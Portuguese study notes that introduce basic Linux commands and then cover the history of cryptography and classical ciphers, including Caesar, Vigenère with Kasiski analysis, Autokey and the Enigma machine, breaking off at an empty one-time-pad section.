# Introdução à Segurança Digital


# Introdução a Linux

## O que é um sistema operacional?

O sistema operacional do seu computador é o software encarregado de realizar a comunicação entre o hardware e os demais softwares a serem executados no seu pc. Sua função é administrar e gerenciar os recursos do sistema, desde os elementos de baixo nível (os componentes de hardware como dri) até os de alto nível (programas de terceiros e interface gráfica), fornecendo uma **interface entre o usúario e hardware.**

Entre as diversas funções do sistema operacional, poedmos citar: 1. Gerenciamento dos processos (execução de programas); 2. Gerenciamento da memória; 3. Gerenciamento de recursos; 4. Entrada/Saída de dados; 5. Sistema de arquivos; 6. Definir interface com o usúario; 7. Tratamento de erros;

#### Interfaces de uso:

* Interface Gráfica (GUI)
* Interface de terminal (CLI)
* Interface textual
* Interface de voz (VUI)

#### Sistemas de Arquivos

[Introdução ao Sistema de Arquivos do Linux](https://www.rs-online.com/designspark/an-intro-to-linux-file-system-management)

[Sistemas Operacionais: Crash Course Computer Science (EN)](https://youtu.be/26QPDBe-NB8) [A mente por trás do Linux | Palestra com Linus Torvalds (EN)](https://youtu.be/o8NPllzkFhE)

## Utilizando a linha de comando (CLI)

Todos os comandos estão no formato `comando [-flags] <argumentos>`

### Comandos para Ajuda e Documentação

* `man <comando>`: Manual com informações acerca de todos os comandos
* `info`: Outra ferramenta de documentação
* `uname`: Mostra informações do sistema

### Comandos de Controle e Acesso

* `exit`: Terminar a sessão, ou seja, a shell
* `logout`: Deslogar/terminar sessão atual
* `passwd`: Mudar a senha do usuário logado

### Comandos para Gestão de Arquivos e Diretórios

* `ls [-l] [-a] <diretorio>`: Listar o conteúdo de um diretório, a flag `-l` exibe o resultado em forma de lista e a `-a` exibe também o conteúdo oculto
* `cd <diretorio>`: Mudar diretório atual
  * `/`: Vai para diretório Root
  * `~`: Vai para diretóorio Home
  * `..`: Vai para diretório anterior
* `pwd`: Mostra nome do diretório atual
* `touch <arquivo>`: Cria arquivo
* `cp <arquivo1> <arquivo2>`: Copia conteúdo do aqrquivo1 para arquivo2
  * Se o arquivo2 já existir, ele é sobrescrito
* `cat <arquivo>`: Mostra o conteúdo de um arquivo e pode ser usado também para concatenar arquivos, como por exemmplo utilizando "a.txt b.txt > c.txt" para juntar o conteúdo dos aquivos `a.txt` e `b.txt` em um único chamado `c.txt`
* `mv`: Move ou renomeia arquivos ou diretórios
* `mkdir <diretorio>`: Cria um diretório
* `rm [-r|-R]`: Remove um arquivo
* `rmdir <diretorio>`: Remove um diretório
* `chmod`: Muda permissões de arquivo ou diretório

  &#x20; user:group:everyone

  &#x20; 4    :    read (r)

  &#x20; 2    :    write (w)

  &#x20; 1    :    execute (x)
* `file`: Determina tipo de arquivo
* `grep <'pesquisa'> <arquivo>`: Procura por um padrão em um arquivo
* `strings`: Retorna as strings identificadas em um arquivo
* `unzip`: Ferramenta para descompactar arquivos zipados

### Comandos de Edição de Texto

* `emacs`: Editor de texto
* `nano`: Editor de texto
* `vim`: Editor de texto do terminal

### Comandos de Rede

* `ping`: Pingar um determinado host ou verificar existência de conexão; envia pacotes icmp para host específicado e mede tempo de resposta, entre outras coisas &#x20;
* `ifconfig`: Configurar a interface de uma rede; utilizado para visualizar os ips da nossa máquina
* `ssh`: Cria sessão segura (Secure Shell) e permite-nos conectar num servidor remoto através do protocolo ssh
* `netcat`: Criar conexão TCP/UDP
* `netstat`: Mostra o estado da rede
* `nmap`: Ferramenta de port-scan para visualização de portas abertas num dado host

### Processos:

* `ps`: Mostra os processos em execução
* `pstree`: Mostra processos atuais em forma de árvore
* `kill`: Mata um processo, como por exemplo `kill -9 100`

### Comandos de Informação de Estado

* `date`: Exibe data e hora
* `ps`: Lista os processos em execução
* `pwd`: Mostra o caminho inteiro do diretório atual, ou seja, o pathname
* `whoami`: Diz quem é o dono da shell
* `who`: Mostra quem está logado no sistema&#x20;

[Cheatsheet de Comandos Linux](https://cheatography.com/davechild/cheat-sheets/linux-command-line/pdf/) [Bandit - OverTheWire](https://overthewire.org/wargames/bandit/) [CmdChallenge](https://cmdchallenge.com/) [Tutorial Vim](https://www.openvim.com/tutorial.html)


# Criptografia


# Introdução

## Criptografia

Do latim cryptographia, formado de cript(o) - (kruptós 'oculto, secreto, obscuro, ininteligível') + -grafia (gr. -graphía, com o sentido de 'escrita'); É o conjunto de métodos e princípios da codificação da comunicação a fim de tornar a informação ininteligível para terceiros não autorizados.

Os métodos criptográficos desenvolveram-se conforme a necessidade e tecnologia disponível em cada época. Durante a antiguidade, as cifras limitavam-se a substituições e transposições e eram empregadas com diversas finalidades como enviar mensagens estratégicas em tempos de guerra, permitir a conversa entre dois amantes, guardar segredos comerciais ou simplesmente por estética.

O primeiro uso documentado da criptografia ocorreu por volta de 1900 A.C., no Egito, quando um escriba usou hieróglifos fora do padrão numa inscrição. Ainda na Idade Antiga, a Cifra de César foi amplamente utilizada na comunicação dos generais romanos. Tratava-se de uma cifra de substituição simples em que cada letra era substituída por outra letra k posições a frente no alfabeto, sendo k um fator de deslocamento.

Durante a Idade Média, os árabes contribuíram muito para os processos criptográficos, sobretudo na criptoanálise (procura de padrões que identificassem mensagens camufladas por códigos). Destacaram-se expoentes como Al-Khalil, Alquindi, Ibn Dunainir e Ibn Adlan.

Com a chegada do movimento renascentista e da Idade Moderna, novas cifras entraram em cena, com destaque para a Cifra de Vigenère, publicada em 1553 por Giovan Battista Bellaso e erroneamente atribuída a Blaise de Vigenère. Trata-se de uma cifra de substituição polialfabética, em que cada letra é deslocada de acordo com sua letra correspondente na palavra-chave.

A Cifra de Vigenère foi considerada inquebrável durante três séculos. No entanto, em 1863, Friedrich Kasiski foi o primeiro a publicar um método bem-sucedido de ataque. O ataque ocorre quando a chave é menor que o texto plano, ocasionando deslocamentos iguais ao longo do texto cifrado, sendo plausível de análise criptográfica.

Com o aumento da quantidade e do tamanho das mensagens enviadas, os processos de encriptação e decriptação estavam se tornando cada vez mais lentos, custosos e suscetíveis a erros, visto que eram feitos a mão. Em 1918, o alemão Arthur Scherbius desenvolveu a icônica Enigma: uma máquina elétrico-mecânica capaz de aumentar consideravelmente a velocidade dos processos, além de reduzir os erros. A Enigma operava através de cifras de substituição, contudo, a cada vez que uma tecla fosse pressionada, um novo mapeamento de letras era utilizado. Isso era possível graças ao giro de seus rotores.

Sendo amplamente utilizada pelos nazistas durante a Segunda Guerra Mundial, quebrar a Enigma se tornou um objetivo crucial das forças aliadas. Foi então que os britânicos recrutaram Alan Turing e uma equipe de criptógrafos, que exploraram algumas vulnerabilidades da máquina, como o fato de uma letra nunca ser encriptada para ela mesma, além de vulnerabilidades de mau uso, como padrões conhecidos de previsão do tempo.

Graças aos esforços de Alan Turing e dos britânicos do Bletchley Park, estima-se que a quebra da Enigma antecipou o fim da guerra em dois anos e salvou milhões de vidas.

Claude Shannon, pai da teoria da informação, publicou em 1949 o artigo Communication Theory of Secrecy Systems (“Teoria da Comunicação dos Sistemas de Sigilo”) em que ele analisa a segurança da cifra One Time Pad e define matematicamente o que é uma cifra segura. Este artigo marcou o fim da era da Criptografia Clássica e deu início à era da Criptografia Moderna, em que os algoritmos são respaldados em conceitos matemáticos formalizados e aplicados no contexto da computação.

Hoje em dia, a criptografia é utilizada em diversos lugares que vão além da comunicação segura, como na encriptação de dados em um disco, na autenticação de usuários e nas criptomoedas.


# Definições e Objetivos

## Definições

Na literatura, é muito comum encontrarmos três personagens que representam o cenário da comunicação dentro da Criptografia: **Alice**, **Bob** e **Eve**. Estes personagens foram adotados por diversos autores em livros, artigos e publicações acadêmicas e acabaram sendo padronizados para fins didáticos. O papel de cada um deles é o seguinte:

> * **Alice:** é o emissor da mensagem, possui o texto original (plaintext) e aplica um algoritmo de encriptação para torná-lo secreto, obtendo o texto cifrado (ciphertext).
> * **Bob:** é o receptor da mensagem, recebe o ciphertext de Alice e aplica um algoritmo de decriptação para recuperar o plaintext.
> * **Eve:** é o atacante, não é o distinatário legítimo da mensagem, mas deseja conhecer seu conteúdo ou alterá-lo antes que a mensagem chegue a Bob.

![cenario](https://user-images.githubusercontent.com/96321435/233815814-5f1d1312-7069-4891-9dc7-382d56e5bbc6.png)

## Objetivos

À medida que as exigências de segurança avançaram, o campo da criptografia também se aperfeiçoou, buscando atingir uma gama mais ampla de objetivos de segurança, sendo eles:

> * **Confidencialidade** da mensagem: só o destinatário autorizado deve ser capaz de extrair o conteúdo da mensagem da sua forma cifrada. Além disso, a obtenção de informação sobre o conteúdo da mensagem (como uma distribuição estatística de certos caracteres) não deve ser possível, uma vez que, se o for, torna mais fácil a análise criptográfica;
> * **Integridade** da mensagem: o destinatário deverá ser capaz de verificar se a mensagem foi alterada durante a transmissão;
> * **Autenticação** do remetente: o destinatário deverá ser capaz de verificar se o remetente é realmente quem diz ser;
> * **Não repúdio** do remetente: não deverá ser possível ao remetente negar a autoria de sua mensagem.


# Criptografia Clássica

Dois tipos principais de cifra abrangeram a história da criptografia clássica: as cifras de substituição e as de transposição. Nas cifras de substituição os símbolos do alfabeto do texto plano são substituídos por um ou mais símbolos do alfabeto do texto cifrado de acordo com uma regra, gerando o texto cifrado. Já nas cifras de transposição os símbolos do alfabeto do texto plano são permutados, também de acordo com uma regra, gerando o texto cifrado.

## Cifras de Substituição

#### Atbash

Uma das primeiras cifras de substituição. É vista em passagens da bíblia como em \[Jeremias 25:26 - "O rei de Sheshach beberá depois deles" - Sheshach, que significa Babilônia em Atbash (בבל bbl → ששך ššk)].

Trata-se de uma substituição monoalfabética de deslocamento 0 com o alfabeto do texto cifrado na ordem inversa do alfabeto do texto plano. Exemplo com o alfabeto latino:

A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z

Z |Y |X |W |V |U |T |S |R |Q |P |O |N |M |L |K |J |I |H |G |F |E |D |C |B |A

Ganesh -> Tzmvhs

### Cifra de substituição simples (monoalfabética)

Trata-se de uma cifra em que cada unidade do texto plano é substituída por uma única unidade do texto cifrado, de acordo com um mapeamento entre os alfabetos do plaintext e do ciphertext, por exemplo:

Alfabeto do plaintext:\
A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z

Alfabeto do ciphertext:\
D|G|U|A|S|M|Z|E|R|B|C|I|H|V|Y|P|K|X|Q|N|T|F|W|L|O|J

Ex: GANESH -> ZDVSQE

#### Cifra de César

Foi uma cifra de substituição monoalfabética utilizada pelo general Julio César em Roma.

Exemplo com o alfabeto latino:

A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z

C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|A|B

Deslocamento 2

Ganesh -> Icpguj

#### Quebrando a Cifra de substituição simples

É possível quebrar as cifras de substituição monoalfabética por meio da análise de frequência das letras do ciphertext, desde que se conheça o idioma utilizado. Acontece que nas cifras monoalfabéticas cada letra do plaintext é encriptada sempre para a mesma letra do ciphertext. No exemplo que vimos acima, a letra L será sempre encriptada para a letra I, a letra M será sempre encriptada para a letra H, e assim sucessivamente.

Por exemplo, no idioma inglês a letra E é a mais frequente de todas, aparecendo em 12,70% do total de letras em um texto, seguida dela vem a letra T, que aparece 9,05% das vezes. Sabendo disso, em posse de um ciphertext escrito em inglês, se a letra mais frequente encontrada for a letra K, provavelmente ela corresponde à letra E do plaintext. E se a segunda letra mais frequente for a letra W, provavelmente ela corresponde à letra T do plaintext.

### Cifra de Vigenère

Trata-se de uma cifra de substituição polialfabética em que a palavra chave é responsável por especificar o deslocamento de cada letra do plaintext. Desse modo, é impossível realizar diretamente um ataque de frequência como o utilizado nas cifras de substituição monoalfabética, já que uma mesma letra do plaintext pode ser encriptada para diferentes letras no ciphertext, a depender do seu “match” com a palavra chave ao longo do texto.

Quando a palavra chave for menor do que o plaintext, ela deve ser repetida até completar o tamanho do plaintext. A encriptação pode ser descrita algebricamente: se as letras A-Z correspondem aos números 0-25, soma-se o valor numérico da letra no plaintext com o valor numérico de sua letra pareada na chave e aplica-se o resto da divisão por 26, encontrando o valor numérico da letra do ciphertext. Exemplo de encriptação com a chave LEMON:

Plaintext:\
A|T|T|A|C|K|A|T|D|A|W|N\
Chave:\
L|E|M|O|N|L|E|M|O|N|L|E\
Ciphertext:\
L|X|F|O|P|V|E|F|R|N|H|R

Note que a primeira letra T foi encriptada para X, enquanto que a segunda letra T foi encriptada para F. Ou seja, a mesma letra do plaintext resultou em letras diferentes no ciphertext. Para decriptar, basta subtrair o valor numérico de cada letra do ciphertext do valor numérico do seu par na chave. Caso resulte em um número negativo, basta somar 26. O resultado dessa operação será o valor numérico da letra no plaintext.

A tabela a seguir é utilizada para facilitar a encriptação e a decriptaçao, dado um plaintext e uma chave.

![tableau\_vigenere](https://user-images.githubusercontent.com/96321435/233817957-ed57a13f-fc6d-4260-b8bf-56f37dc89a77.png)

#### Quebrando a Cifra de Vigenère (Teste de Kasiski)

Como já vimos anteriormente, a Cifra de Vigenère foi considerada inquebrável por três séculos, até que em 1863 Friedrich Kasiski propôs um ataque que funciona quando o tamanho da chave é menor do que o do plaintext. Para entendermos o Teste de Kasiski, vamos utilizar o mesmo exemplo anterior e considerar que o atacante já saiba o tamanho da chave:

Plaintext:\
A|T|T|A|C|K|A|T|D|A|W|N\
Chave:\
L|E|M|O|N|L|E|M|O|N|L|E\
Ciphertext:\
**L**|X|F|O|P|**V**|E|F|R|N|**H**|R

Como o tamanho da chave já é conhecido (5 letras), sabemos que a cada cinco letras do ciphertext o deslocamento realizado para obter tais letras foi exatamente o mesmo. Note que as letras L, V e H, destacadas acima, foram todas obtidas a partir de um mesmo deslocamento. Agora, se temos um conjunto de letras e todas foram obtidas a partir de um mesmo deslocamento, temos diante de nós uma cifra de substituição simples, que é passível de ataque por análise de frequência.

Suponha que o texto do exemplo acima seja muito maior, logo o conjunto que possui as letras L, V e H possui ainda muito mais letras, muitas delas vão se repetindo dentro do conjunto. Como o texto é escrito em inglês, é provável que a letra que mais se repetir dentro desse conjunto foi obtida a partir da encriptação da letra E. Logo, em posse de uma letra do plaintext e de uma letra do ciphertext, é possível descobrir qual a letra da chave que gerou tal deslocamento.

Assim, descobrimos a primeira letra da chave. Para descobrir a próxima letra, basta repetir o processo para formar um novo conjunto (formado pelas letras X, E, R...) e supor que a letra mais abundante desse conjunto foi obtida a partir da encriptação da letra E. Note que isso tudo só é possível quando soubermos o tamanho exato da chave. Na prática, para descobrirmos o tamanho da chave é preciso encontrar padrões de repetições ao longo do ciphertext e a partir do distanciamento dessas repetições obter o tamanho da chave.

Observe a imagem com o ciphertext a seguir e repare na repetição da sequência U-S-E diversas vezes ao longo do texto.

![kasiski\_mdc](https://user-images.githubusercontent.com/96321435/233818154-8d59781e-4eb8-4bf2-a03c-0992a9ca341c.png)

Como o distanciamento dessas repetições é sempre um número múltiplo de 8, um bom palpite para o tamanho da chave seria 8 caracteres. Mas também é possível que o tamanho da chave seja de 4 caracteres. De qualquer forma, com o tamanho da chave em mãos, basta aplicar o Teste de Kasiski para descobrir a chave utilizada e assim quebrar a cifra.

### Cifra Autokey

Vimos que a Cifra de Vigenère é quebrável quando o tamanho da chave é menor do que o tamanho do plaintext. A Cifra Autokey foi criada justamente de modo a garantir que o tamanho da chave seja sempre superior ao do plaintext. Para isso, é feito a concatenação entre uma keyword relativamente pequena e o plaintext. O resultado dessa operação é a chave que será utilizada na encriptação.

Por exemplo, se a keyword for QUEENLY e a mensagem for “attack at dawn”, então a chave seria QUEENLYATTACKATDAWN. A partir disso, basta aplicar a Cifra de Vigenère.

Plaintext:\
A|T|T|A|C|K|A|T|D|A|W|N\
Chave:\
Q|U|E|E|N|L|Y|A|T|T|A|C|K|A|T|D|A|W|N\
Ciphertext:\
Q|N|X|V|P|V|Y|T|W|T|W|P

Para decriptar a mensagem, o receptor começaria utilizando a keyword previamente definida (QUEENLY), obtendo assim as primeiras 7 letras do plaintext (ATTACKA). Depois, essas 7 letras são concatenadas ao final da keyword e novas letras serão obtidas. O ciclo é repetido até se obter o plaintext final. A Cifra Autokey é mais segura do que as cifras polialfabéticas que usam chaves fixas, já que na Autokey a chave não é repetida dentro de uma mesma mensagem. Portanto, métodos de ataque como o Teste de Kasiski não se aplicam nessa cifra.

Uma grande vulnerabilidade dessa cifra, no entanto, é que o plaintext faz parte da chave. Isso significa que a chave vai certamente conter palavras comuns em diversas posições (ON, AT, IN, THE no inglês ou DE, DO, DA, UMA, SUA, QUE no português). A chave pode ser atacada usando palavras comuns através de tentativas de decriptar a mensagem movendo a palavra pela chave até que textos legíveis apareçam.

### Polybus Square

Trata-se de um dispositivo inventado pelos gregos Cleoxenus e Democlitus e aperfeiçoado por Polybius, cujo propósito era dividir os símbolos do texto plano para que pudessem ser representados por um conjunto menor de símbolos. Inicialmente, Polybius sugeriu que os símbolos poderiam ser usados para transmitir mensagens com pares de tochas. Além disso, também foi usada na forma de "knock code" para transmitir mensagens em prisões a partir de barulhos em canos e paredes.

A tabela a seguir é utilizada para encriptar e decriptar mensagens, note que com apenas cinco números é possível representar todas as letras do alfabeto.

![polybus](https://user-images.githubusercontent.com/96321435/233818325-75983ec1-e73e-4701-8682-575725e295c9.jpg)

Plaintext:\
G |A |N |E |S |H\
Ciphertext:\
22|11|33|15|43|23

### Cifra Homófona

Trata-se de uma cifra em que os símbolos mais frequentes do plaintext são correspondidos para mais de um símbolo no ciphertext. Foi criada para dificultar a análise estatística baseada em frequência. Observe o mapeamento da imagem a seguir, note que na primeira vez que a letra A aparece, ela é encriptada para 8. Na segunda vez para z, e assim sucessivamente.

![homofona](https://user-images.githubusercontent.com/96321435/233818401-80f2d053-f320-4423-99a4-1e35dd93224e.png)

Plaintext:\
**A**br**a**c**a**d**a**br**a**\
Ciphertext:\
**8**Fb**z**H**K**G**7**FR**i**

### Cifra Poligráfica

Trata-se de uma cifra em que a substituição se dá mapeando um caractere para um grupo de símbolos, por exemplo:

Alfabeto do plaintext:\
A|B|C|D...\
Alfabeto do ciphertext:\
\&A|789|CVD|ZDFG...

### Enigma

Criada para substituir os métodos "papel e caneta" que eram utilizados até então, a Enigma foi amplamente utilizada pela Alemanha nazista na Segunda Guerra Mundial. Sua quebra teve um grande impacto na história da guerra e na história da computação. Para entender o funcionamento da Enigma, precisamos olhar por dentro para identificar as quatro principais regiões da máquina.

![regioes\_enigma](https://user-images.githubusercontent.com/96321435/233818836-3eaa34b0-6d90-4316-804f-099035c14176.png)

> * **Keyboard:** é o input. Composto pelas teclas que serão digitadas quando se quer encriptar ou decriptar uma mensagem.
> * **Lightboard:** é o output. Cada vez que uma tecla é pressionada, fecha-se um circuito elétrico e uma das lâmpadas da lightboard se acende. Na encriptação, o keyboard corresponde ao plaintext enquanto que a lightboard fornece o ciphertext. Na decriptação, os papéis se invertem.
> * **Rotor:** responsável pela permutação das letras. Em uma face do rotor existem 26 pinos por onde a corrente elétrica pode entrar e na outra face existem 26 pinos por onde a corrente pode sair. No interior de cada rotor, há fios que fazem as trocas de uma letra por outra. A sequência de imagens a seguir mostra como um rotor faz a permutação de uma letra por outra três posições a frente no alfabeto.

![fios\_rotores\_enigma](https://user-images.githubusercontent.com/96321435/233818989-080de46a-a0c5-4527-ac42-05fc76843313.png)

> Pressionar uma tecla faz com que o primeiro rotor rotacione uma posição. Como são três rotores em série o simples fato de o rotor girar uma posição faz com que o mapeamento de letras mude completamente. Além disso, o anel de cada rotor possui um entalhe que serve para definir quando ele vai provocar uma rotação no rotor à sua esquerda. Posicionar esse entalhe no número 18, por exemplo, faz com que quando esse número alcança a parte de trás da máquina, o rotor à esquerda rotaciona uma posição, e a partir daí, a cada ciclo de 26 teclas pressionadas o primeiro rotor completará uma volta completa, fazendo com que o segundo rotor rotacione uma posição. Quando o entalhe do segundo rotor alcança a parte de trás da máquina, o terceiro rotor rotaciona uma posição, e a partir daí, a cada volta completa do segundo rotor (26x26 = 676 teclas pressionadas) o terceiro rotor ira rotacionar mais uma posição. A imagem a seguir mostra o entalhe do primeiro rotor posicionado no número 18.

![entalhe\_rotor\_enigma](https://user-images.githubusercontent.com/96321435/233819125-b5b9708a-5fcb-4ee9-a720-3e99166b7f8d.png)

> * **Plugboard:** posicionado na frente da máquina, também é responsável pela permutação das letras e aumenta consideravelmente o número de configurações possíveis da máquina. Ao se conectar o plugue da letra A com o da letra U, por exemplo, toda vez que a letra A é pressionada no keyboard, ela é permutada para a letra U antes de passar pela permutação dos rotores. Se um determinado plugue não está conectado com nenhum outro, então a sua letra correspondente não sofre nenhuma permutação no plugboard, sofrendo apenas as permutações dos rotores.

#### Funcionamento do circuito

O caminho percorrido entre o pressionamento de uma tecla no keyboard e o acendimento de uma lâmpada na lightboard é o seguinte: keyboard -> plugboard -> rotores -> refletor -> rotores -> plugboard -> lightboard. O vídeo a seguir mostra a letra A sendo encriptada para a letra H. Repare que os plugues A e M estão conectados na plugboard, assim como os plugues H e O.

Ao se pressionar a tecla A, ela é permutada para M na plugboard, que segue em direção aos rotores. O primeiro rotor permuta M para B, o segundo rotor permuta B para J e o terceiro rotor permuta J para F. Então o refletor permuta F para P. Na volta, o terceiro rotor permuta P para N, o segundo rotor permuta N para X e o primeiro rotor permuta X para O. Finalmente, a plugboard permuta O para H e a lightboard acende a lâmpada da letra H.

[![Enigma Wiring Animation](http://img.youtube.com/vi/HeTIRlS32Sk/0.jpg)](<http://www.youtube.com/watch?feature=player_embedded\&v=HeTIRlS32Sk&#xA;>)

Note que se a tecla H tivesse sido pressionada nessas mesmas configurações, a lâmpada da letra A teria sido acesa.

#### Quantas configurações da Enigma são possíveis?

Para responder essa pergunta, vamos considerar o modelo de configuração mais usado durante a Segunda Guerra Mundial: os operadores dispunham de 5 rotores, sendo que 3 eram selecionados para serem utilizados em cada dia. Utilizava-se sempre 10 cabos na plugboard, o que significa que 20 letras sofriam permutação na plugboard, enquanto 6 não sofriam.

> * Dos 5 rotores, selecionar 3 significa: 5 x 4 x 3 = 60
> * Posição inicial dos rotores: 26 x 26 x 26 = 17.576
> * Posição do entalhe em cada rotor 26 x 26 = 676 (a posição do entalhe do terceiro rotor é irrelevante já que ele não provoca giro em nenhum rotor)
> * Formas diferentes de se conectar os 10 cabos da plugboard: 150.738.274.937.250

O produto das combinações acima resulta em 107.458.687.327.250.619.360.000 ou 1,07 x 10²³. Para se testar 1,07 x 10²³ configurações, se reuníssemos 100.000 voluntários e cada um testasse uma configuração por segundo, ainda levaríamos o dobro da idade do universo para se testar todas as possibilidades.

#### Protocolo de encriptação

Mensalmente, os operadores das máquinas Enigma recebiam os “codebooks”, que eram instruções para a configuração da máquina para cada dia do mês. A imagem a seguir mostra um codebook obtido pelos Aliados.

![codebook\_enigma](https://user-images.githubusercontent.com/96321435/233819473-74141da8-78c0-4632-81da-2b6099a8592d.png)

No dia 31, por exemplo, as configurações seriam as seguintes:

> * A segunda coluna mostra que os rotores I, II e V seriam usados naquele dia
> * A terceira coluna mostra que o entalhe em cada rotor seria nas posições 10, 14 e 02 respectivamente
> * A quarta coluna mostra os pares de conexões na plugboard
> * A quinta coluna mostra os grupos indicadores, que são enviados junto ao ciphertext para identificar em qual dia a mensagem foi enviada.

Acontece que se uma grande quantidade de mensagens fossem encriptadas utilizando a mesma configuração a Enigma ainda seria passível de ataques por frequência. Por exemplo, imagine que os Aliados interceptassem muitas mensagens encriptadas com a mesma configuração inicial. Uma análise de frequência na primeira letra de cada ciphertext obtido permitiria concluir que a letra mais frequente foi encriptada a partir da letra E (no idioma alemão a letra E é a mais comum, assim como no inglês). Portanto, a cada mensagem a ser encriptada os operadores da Enigma eram instruídos a seguir os seguintes passos:

> * Posicionar os rotores na ordem, conforme codebook;
> * Posicionar o entalhe de cada rotor conforme codebook;
> * Conectar os cabos da plugboard conforme codebook;
> * Escolher um grupo indicador para enviar junto ao ciphertext;
> * Escolher a posição inicial dos rotores (ex: HTX);
> * Escolher uma chave de três letras (ex: RZU);
> * Digitar a chave escolhida duas vezes. Ex:\
>   Plaintext: RZURZU\
>   Ciphertext: JIOWQP
> * Resetar a posição inicial dos rotores para a chave escolhida (RZU);
> * Encriptar a mensagem com as novas configurações.

Esse protocolo eliminava qualquer chance de análise por frequência, já que agora cada mensagem enviada tinha sua própria configuração, definida pelo operador. Para decriptar, o receptor da mensagem não sabia a chave RZU escolhida pelo emissor, mas a posição inicial dos rotores (HTX) era transmitida na mensagem. Então bastava ele repetir os primeiros três passos da encriptação, posicionar os rotores (HTX) e digitar JIOWQP em sua Enigma que a lightboard acenderia RZURZU. Assim, o receptor ajustaria a posição dos rotores para RZU e seria capaz de decriptar a mensagem.

Você deve estar se perguntando o porquê de digitar a chave escolhida duas vezes, visto que o protocolo funcionaria da mesma forma se a chave escolhida fosse digitada apenas uma vez. Imagine que durante a transmissão do ciphertext JIOWQP o tempo estava ruim e houve interferências de modo que o receptor recebeu JIOWQT. Ao digitar esse ciphertext na Enigma ele obteve RZURZH e pode concluir que a chave escolhida pelo emissor foi RZU ou RZH.

Se a chave escolhida fosse digitada apenas uma vez, sempre que houvesse interferência na transmissão o receptor iria obter uma chave inútil, sendo incapaz de decriptar a mensagem e precisaria que o emissor enviasse a mensagem novamente, causando atrasos na comunicação. Contudo, a repetição de chave era uma vulnerabilidade que os poloneses exploraram, sendo capazes inclusive de quebrar a Enigma antes do início da guerra, quando os alemães ainda utilizavam um conjunto de apenas 3 rotores e somente 6 cabos na plugboard.

Liderados pelo matemático Marian Rejewski e com a ajuda de espiões franceses, os polonoses foram capazes de deduzir os fios internos dos rotores por meio da aplicação de álgebra abstrata e ainda construíram a primeira máquina elétrico-mecânica capaz de sistematicamente quebrar a Enigma, batizada de “Bombe”.

Com o início da guerra, os alemães aumentaram consideravelmente o número de configurações possíveis da Enigma, além de abortarem o protocolo de digitar a chave escolhida duas vezes, fazendo com que a bombe polonesa se tornasse ineficiente. Porém, o trabalho secreto dos poloneses mostrou aos aliados ingleses que a Enigma era quebrável. Sem esse pontapé inicial, o trabalho de Alan Turing e dos criptógrafos do Bletchley Park seria muito mais difícil.

#### Vulnerabilidades da Enigma

A cada mensagem enviada, o operador escolhia 6 letras para encriptá-la, sendo as três primeiras para a posição inicial dos rotores e as três últimas seriam a chave que seria de fato utilizada. Os operadores eram orientados a escolher 6 letras aleatórias, mas muitos deles eram negligentes e facilitavam o trabalho dos aliados ao escolherem sequencias de letras como LON-DON, BER-LIN ou até mesmo teclas vizinhas do keyboard como ASD-FGH. Um caso muito famoso foi o de um soldado alemão que frequentemente utilizava o nome da namorada dele CIL-LIE, então esse método de codebreaking foi batizado de “Cillies”.

Outra vulnerabilidade muito explorada eram os relatórios diários cujo formato do texto raramente mudava. Muitos submarinos, por exemplo, enviavam relatórios de previsão do tempo tão padronizados de modo que os analistas podiam dar palpites certeiros de qual posição estaria o plaintext “clima”. Em regiões menos movimentadas, era comum unidades militares enviarem mensagens como “nada incomum” ou “nada a reportar” – outra frequente repetição que os britânicos usaram a seu favor.

## Cifras de Transposição

### Transposição Colunar

Para encriptar por meio da cifra de transposição por coluna, deve-se escrever a chave na primeira linha de uma tabela. Em seguida, escreve-se o texto da esquerba para a direita e de cima pra baixo, e lê-se o texto na vertical, seguindo a ordem alfabética das letras da chave. Exemplo de encriptação com a chave CRIVO:

Plaintext: Somos o Ganesh\
Chave: CRIVO

![colunar](https://user-images.githubusercontent.com/96321435/233820030-28b3c537-eba1-433a-aff1-2e9776493940.PNG)

Ciphertext: S nm ssa ooeoGH

Para decriptar, escrevemos o texto cifrado na tabela na direção vertical seguindo a ordem alfabética das letras da chave, em seguida lemos o texto na horizontal na direção usual.

### Rail Fence

Na cifra Rain Fence, o plaintext é escrito para baixo diagonalmente em "trilhos" sucessivos de uma cerca imaginária, movendo-se para cima quando o trilho inferior é alcançado, e para baixo novamente quando o trilho superior é alcançado e assim por diante até que todo o plaintext seja escrito. O ciphertext é então obtido lendo-se por linhas. A imagem a seguir mostra um exemplo para três trilhos.

![rail\_fence\_1](https://user-images.githubusercontent.com/96321435/233820215-35d0da23-83a1-4a4f-a841-6f2f4b91f538.png)

Para decriptar, basta construir uma matriz em que o número de colunas é igual ao tamanho do ciphertext e o número de linhas é igual à chave (número de trilhos). Depois basta percorrer a matriz em zigzag, marcando com asterisco as células que receberão letras:

![rail\_fence\_2](https://user-images.githubusercontent.com/96321435/233820220-c7693f8c-1d67-4eab-b59a-69574cfdb4d2.png)

Por fim, basta preencher a matriz horizontalmente com as letras do ciphertext e lê-la de acordo com o zigzag.

## Esteganografia

A esteganografia (do grego ‘escrita escondida’) é o uso de de técnicas para ocultar a existência de uma mensagem dentro da outra, uma forma de segurança por obscurantismo. A diferença entre esteganografia e criptografia é que a primeira preocupa-se em ocultar a existência da mensagem, e a segunda o seu significado.

### Método NULL

A simples representação também remete à esteganografia, que é uma técnica para omitir uma mensagem dentro de outra, com o objetivo de fazer com que uma forma escrita seja camuflada em outra a fim de mascarar sua própria existência. Uma técnica simples de esteganografia é o método NULL, no qual a letra do meio de cada palavra da mensagem original compõe a mensagem que se deseja esconder.


# Criptografia Moderna

Até o momento, todas as cifras que descrevemos eram utilizadas com o objetivo de se garantir a confidencialidade, e os plaintexts eram compostos basicamente por sequencias de letras. Contudo, com a entrada da computação no cenário e a chegada da era moderna, a criptografia expandiu seus campos de atuação, de modo que hoje lidamos com sequencias de bits, que podem significar letras, pixels de uma imagem, áudios, entre outros.

Por exemplo, a sequência de bits 01000001 em um arquivo de extensão (.txt) significa a letra A, conforme [tabela ASCII](https://www.asciitable.com/). Já a sequencia 00000000 em um arquivo (.jpg) significa um pixel preto e a sequencia 11111111 significa um pixel branco.

## Simétrica

No sistema de criptografia simétrica apenas uma chave é utilizada, tanto para encriptar quanto para decriptar a mensagem.

### One Time Pad

